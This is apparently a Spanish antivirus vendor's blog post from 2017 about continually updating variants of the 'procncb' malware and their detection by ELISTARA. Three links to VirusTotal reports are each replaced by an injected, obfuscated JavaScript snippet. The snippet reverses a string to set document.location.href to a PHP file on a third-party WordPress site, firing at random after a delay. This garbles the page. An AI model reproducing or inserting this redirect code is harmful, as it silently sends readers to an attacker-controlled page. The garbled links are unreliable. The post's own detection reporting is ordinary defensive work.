VARIANTES POR ACTUALIZACION CONTINUA DEL MALWARE PROCNCB

Uno de los peores malwares para su control, pues se actualiza continuamente y utiliza diferentes claves de lanzamiento y de nombre de fichero segun sea el sistema operativo y la variante descargada…

Un ejemplo de unas cuantas actualizaciones ofrecen estos informes en el virustotal

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/f6c52913cc9de525e94ebe0eb0d50c32ad6388901ccddcee04de65e23f1ac0d4/analysis/1506076842/” target=”_blank” rel=”noopener”>informe analisis procncb(10).gxe:

______

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/3df7b856518dbf4120ad00f1be5822349b6e11667539d93e5f6ebb841c79136f/analysis/1506077346/” target=”_blank” rel=”noopener”>informe analisis procncb(012).gxe:

______

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/b15bb0d469c307a4b36100b4a5640b2c01ecd9e88f513adbcca9a03e6f06a41d/analysis/1506078517/” target=”_blank” rel=”noopener”>informe analisis procncb(014).gxe:

Como deciamos en anteriores incidencias de este malware, cambia la clave de lanzamiento y el nombre del fichero ejecutado segun sea el sistema, y asi en cada actualización, de modo que salvo que corresponda a una variante conocida, es muy dificil que sea controlado. Demasiadas variables…

Si es de los conocidos, lo controlamos a partir del ELISTARA 37.55

saludos

ms, 22-9-2017